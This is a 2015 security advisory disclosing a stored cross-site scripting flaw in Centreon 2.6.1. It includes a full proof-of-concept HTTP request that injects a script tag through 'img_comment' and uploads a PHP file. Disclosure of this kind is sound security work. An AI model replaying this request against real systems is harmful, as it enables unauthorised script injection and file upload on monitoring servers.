Centreon 2.6.1 Persistent Cross Site Scripting

`  
Centreon 2.6.1 Stored Cross-Site Scripting Vulnerability  
  
  
Vendor: Centreon  
Product web page: https://www.centreon.com  
Affected version: 2.6.1 (CES 3.2)  
  
Summary: Centreon is the choice of some of the world's largest  
companies and mission-critical organizations for real-time IT  
performance monitoring and diagnostics management.  
  
Desc: Centreon suffers from a stored XSS vulnerability. Input  
passed thru the POST parameter 'img_comment' is not sanitized  
allowing the attacker to execute HTML code into user's browser  
session on the affected site.  
  
Tested on: CentOS 6.6 (Final)  
Apache/2.2.15  
PHP/5.3.3  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2015-5266  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5266.php  
  
  
10.08.2015  
  
--  
  
  
POST /centreon/main.php?p=50102 HTTP/1.1  
Host: localhost.localdomain  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost.localdomain/centreon/main.php?p=50102&o=a  
Cookie: PHPSESSID=qg580onenijim611sca8or3o32  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=---------------------------951909060822176775828135993  
Content-Length: 1195  
  
  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="directories"  
  
upload  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="list_dir"  
  
0  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="filename"; filename="phpinfo.php"  
Content-Type: application/octet-stream  
  
<?  
phpinfo();  
?>  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="img_comment"  
  
"><script>alert(1);</script>  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="action[action]"  
  
1  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="submitA"  
  
Save  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
2097152  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="img_id"  
  
  
-----------------------------951909060822176775828135993  
Content-Disposition: form-data; name="o"  
  
a  
-----------------------------951909060822176775828135993--  
`